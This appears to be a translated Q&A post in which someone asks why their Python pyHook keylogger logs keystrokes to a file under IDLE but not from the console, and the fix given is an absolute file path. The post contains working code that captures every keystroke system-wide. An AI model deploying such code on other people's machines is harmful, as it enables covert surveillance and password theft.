【发布时间】:2016-08-02 01:57:16
【问题描述】:
我正在尝试在 python 中制作这个简单的键盘记录器,当我在 IDLE 中运行时它工作得很好,但在控制台中它不会将日志写入文件。
import pyHook, pythoncom, sys
log = ''
def OnKeyPress(event):
global log
log += chr(event.Ascii)
if event.Ascii == 27: # if user press esc
with open('teste27.txt', 'a') as f:
f.write(log)
f.close()
sys.exit(0)
#instantiate HookManager class
new_hook = pyHook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#Hook the keyboard
new_hook.HookKeyboard()
#start the session
pythoncom.PumpMessages()
【问题讨论】:
-
我发现了错误。只需要指定完整路径:open(r'C:\Users\henrique\Documents\Programas\Python\Keylogger\teste27.txt', 'a')
标签: python python-2.7 file console python-idle